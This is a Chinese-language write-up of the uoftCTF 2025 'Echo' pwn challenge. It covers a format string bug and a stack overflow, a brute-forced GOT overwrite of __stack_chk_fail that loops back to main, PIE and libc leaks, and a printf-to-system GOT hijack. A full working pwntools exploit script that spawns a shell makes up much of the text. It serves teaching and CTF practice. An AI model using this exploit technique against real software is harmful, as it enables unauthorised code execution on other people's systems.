uoftCTF 2025 Echo WP
题目分析
将题目拖入 IDA,查看核心函数 vuln:
int vuln()
{
char buf; // [rsp+7h] [rbp-9h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
read(0, &buf, 0x100uLL); // 漏洞点1: 栈溢出 (0x100 > 1)
return printf(&buf); // 漏洞点2: 格式化字符串漏洞
}
代码逻辑非常短小:程序申请了一个极小的缓冲区 buf(1字节),但允许读取 0x100 字节,存在明显的栈溢出。同时,直接将用户输入作为 printf 的参数,存在格式化字符串漏洞。
使用 checksec 查看保护开启情况:
Arch: amd64-64-little
RELRO: Partial RELRO <-- 关键:GOT 表可写
Stack: Canary found <-- 关键:开启栈保护
NX: NX enabled
PIE: PIE enabled <-- 关键:地址随机化开启
分析结论:
由于开启了 Canary,常规的栈溢出覆盖返回地址(ROP)会触发 __stack_chk_fail 导致程序终止。且 vuln 函数执行一次即退出,无法进行多轮交互泄露地址。
破局思路:
利用 Partial RELRO(GOT 表可写)的特性,通过栈溢出和格式化字符串漏洞,劫持 Canary 的报错处理函数 __stack_chk_fail。将其 GOT 表中的地址篡改为 main 函数地址。这样,当 Canary 报错被触发时,程序实际上会跳转回 main 函数重启,从而实现无限循环漏洞利用。
利用思路与计算
攻击链设计
- **劫持报错 **:修改栈上指针指向 GOT 表,并修改 GOT 表内容,建立循环。
- 泄露地址:程序重启后,利用格式化字符串泄露 PIE 基址和 Libc 基址。
- **获取 Shell :将
printf的 GOT 表改为system,传入/bin/sh。
关键偏移计算
通过 readelf 获取关键地址偏移:
-
__stack_chk_failGOT 偏移:0x4018readelf -r ./chall | grep stack_chk_fail 000000004018 ... R_X86_64_JUMP_SLO ... __stack_chk_fail@GLIBC_2.4 -
main函数偏移:0x1249readelf -s ./chall | grep main 36: 0000000000001249 ... main
概率爆破逻辑 (1/16)
由于开启了 PIE,程序基址是随机的(以 0x1000 页为单位)。
- 确定部分:低 12 bit(后 3 位 16 进制)是固定的,且对于小程序来说,倒数第五位及以上一般都是相同的
- GOT 结尾:
018 - Main 结尾:
249
- GOT 结尾:
- 随机部分:倒数第 4 位(第 13-16 bit)是随机的。
攻击操作:
- 修改指针:利用
read溢出,覆盖栈上第 9 个参数槽位(原为返回地址指针)。我们需要覆盖其低 2 字节为\x18\x80(假设倒数第 4 位随机到了 8,即指向...8018)。 - 修改内容:利用
%n向该指针指向的地址写入数据。我们需要写入 Main 函数的低 2 字节0x5249(假设倒数第 4 位随机到了 5)。- 注意:
0x5249(Hex) = 21065 (Decimal)。
- 注意:
由于 Main 函数和 GOT 表在同一个 PIE 段内,基址是共享的。只要基址满足条件,这两个假设会同时成立。成功概率为 1/16。
Exploit 脚本
from pwn import *
context(os='linux', arch='amd64')
# 加载 ELF 文件,checksec=False 关闭自动检查输出
elf = ELF("./chall")
attempt = 0
while True:
attempt += 1
try:
log.info(f"=== attempt #{attempt} ===")
# 启动进程
io = process("./chall")
libc = elf.libc
# ======================================================
# 1. 暴力复活 (Stack Smash Hijack) - 概率 1/16
# ======================================================
# 构造 Payload:
# %21065c : 打印 21065 个字符,使得 printf 内部计数器达到 0x5249 (main 函数低 2 字节)
# %9$hn : 将 0x5249 写入到第 9 个参数指向的地址 (即 __stack_chk_fail 的 GOT 表)
# padding : 填充对齐,确保后面的 \x18\x80 正好覆盖到栈上的第 9 个参数槽位
# \x18\x80: 利用 read 栈溢出,只覆盖返回地址指针的低 2 字节。
# 0x18 是固定的 GOT 表偏移,0x8 是猜测的基址倒数第 4 位。
buf = b"%21065c%9$hn"
buf += b"A"*(0x11 - len(buf))
buf += b"\x18\x80"
io.send(buf)
# ======================================================
# 2. 泄露 PIE 基址
# ======================================================
# 如果爆破成功,程序会重启。sleep 是为了等待程序重启完毕,防止粘包
sleep(0.5)
# 发送 %9$p 读取栈上第 9 个位置的内容。
# 重启后,CPU 会自动把 main 函数里的下一条指令地址压入这个位置。
buf = b"%9$p"
io.sendline(buf)
io.recvuntil(b"0x")
# 解析泄露的地址
pie_leak = int(io.recvuntil(b"\n"), 16)
# 计算基址:泄露地址 - 固定偏移 (0x1275 是 main+44 的指令偏移)
pie_base = pie_leak - 0x1275
print("pie_leak =", hex(pie_leak))
print("pie_base =", hex(pie_base))
# 清理缓冲区,读掉上面 printf 可能产生的多余输出
io.recvn(10)
# ======================================================
# 3. 泄露 Libc 基址
# ======================================================
# 构造 Payload 利用 %s 任意读
# %8$s : 让 printf 读取栈上第 8 个参数指向的地址 (即 read 的 GOT 表)
buf = b"%8$s"
buf += b"A"*(0x9 - len(buf)) # 填充对齐
# 把 read 的 GOT 表地址放在 payload 尾部 (对应第 8 参数)
buf += p64(pie_base + elf.got.read)
io.sendline(buf)
# 读取 6 字节的地址,并补齐为 8 字节
read_addr = u64(io.recvn(6) + b"\x00\x00")
# 计算 Libc 基址
libc_base = read_addr - libc.sym.read
print("read_addr =", hex(read_addr))
print("libc_base =", hex(libc_base))
# ======================================================
# 4. Get Shell
# ======================================================
# 利用 fmtstr_payload 将 printf 的 GOT 表修改为 system 的地址
index = 7 # 格式化字符串偏移 (buf 在栈上的位置)
system_addr = libc_base + libc.sym.system
# 目标:printf@got -> system@addr
writes = {pie_base + elf.got.printf: system_addr}
buf = b"A" # padding 用于对齐
# 生成修改 GOT 表的 payload
buf += fmtstr_payload(index, writes, numbwritten=1, write_size='byte')
io.sendline(buf)
# 发送 "/bin/sh"。此时 printf("/bin/sh") 实际上执行 system("/bin/sh")
io.send(b"/bin/sh\x00")
# 交互模式,拿到 Shell
io.interactive()
break
except KeyboardInterrupt:
raise
except Exception as e:
# 如果爆破失败 (概率 15/16),程序会崩溃,捕获异常并重试
try:
io.close()
except:
pass
log.warning(f"attempt #{attempt} failed: {e}")
continue